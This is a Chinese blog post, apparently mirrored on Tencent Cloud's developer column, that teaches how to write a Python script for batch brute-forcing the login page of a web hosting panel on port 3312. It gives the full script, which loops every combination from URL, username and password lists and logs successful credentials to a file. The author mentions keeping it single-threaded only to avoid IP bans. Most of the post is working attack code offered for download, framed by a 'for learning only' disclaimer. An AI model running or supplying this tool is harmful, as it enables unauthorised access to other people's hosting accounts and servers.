前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用python开发一个爆破3312端口的脚本

利用python开发一个爆破3312端口的脚本

作者头像
YanXia
发布2023-04-07 15:50:37
3500
发布2023-04-07 15:50:37
举报
文章被收录于专栏:YX’blog

0x01 前言

YX'blog地址www.535yx.cn 本人最近在学习利用python写脚本,所以写下这篇文章与大家共同进步。 #这篇文章已由本人发自吐司,禁止他人转发文章。 T00ls,十年民间网络安全老牌社区。大家有能力可以去申请一个号,安全气氛浓厚

0x02 正文

本次脚本所调用的第三方库有

代码语言:javascript
复制
import requests,time

下面是ua头

代码语言:javascript
复制
headers = {'content-type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}

我们先查看源代码,获取用户名和密码所对应的值

07494-i3tskiqpxuf.png
07494-i3tskiqpxuf.png

接下来我们从俩个文本中调用username和passwd

代码语言:javascript
复制
 for username in open('user.txt'):
    username = username.replace('\n', '')
    for passwd in open('pass.txt'):
        passwd = passwd.replace('\n', '')
        data = {
            'username': username,
            'passwd': passwd,
        }

然后我们从文本中调用url并利用requests库发送请求

代码语言:javascript
复制
for url in open('url.txt'):
            urls = url + ':3312/vhost/index.php?c=session&a=login'
            try:
                r = requests.post(urls, data=data, headers=headers)

最后加一个判断,并把正确的值保存到文本中

代码语言:javascript
复制
            if '安全退出' in r.text:
                cg = urls + "|" + username + '|' + passwd
                print(cg)
                file = open("bp.txt", "a+")
                file.write(cg + "\n")
                file.close()
            else:
                print('error')
        except Exception as result:
            time.sleep(0.1)

这样批量爆破3312端口的脚本就成功写完了(原来想写个多线程爆破,但是我发现速度太快易被banIP)。

0x03结尾

本脚本仅用于学习讨论,不用于其他任何非法操作!!!该教程所测试的网站皆为个人网站,切勿非法使用! 最后附上代码:

代码语言:javascript
复制
import requests,time
headers = {'content-type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
def  baopo():
 for username in open('user.txt'):
    username = username.replace('\n', '')
    for passwd in open('pass.txt'):
        passwd = passwd.replace('\n', '')
        data = {
            'username': username,
            'passwd': passwd,
        }
        for url in open('url.txt'):
            urls = url + ':3312/vhost/index.php?c=session&a=login'
            try:
                r = requests.post(urls, data=data, headers=headers)
                if '安全退出' in r.text:
                    cg = urls + "|" + username + '|' + passwd
                    print(cg)
                    file = open("bp.txt", "a+")
                    file.write(cg + "\n")
                    file.close()
                else:
                    print('error')
            except Exception as result:
                time.sleep(0.1)

if __name__ == '__main__':
    print('---------------')
    print('powered by YanXia')
    print('By YanXia:www.535yx.cn')
    print('---------------')
    baopo()

项目地址https://github.com/byyanxia/duanko 麻烦点个STAR谢谢

测试截图:

45194-zv37tromjl.png
45194-zv37tromjl.png
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年02月10日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 前言
  • 0x02 正文
  • 0x03结尾
相关产品与服务
腾讯云服务器利旧
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档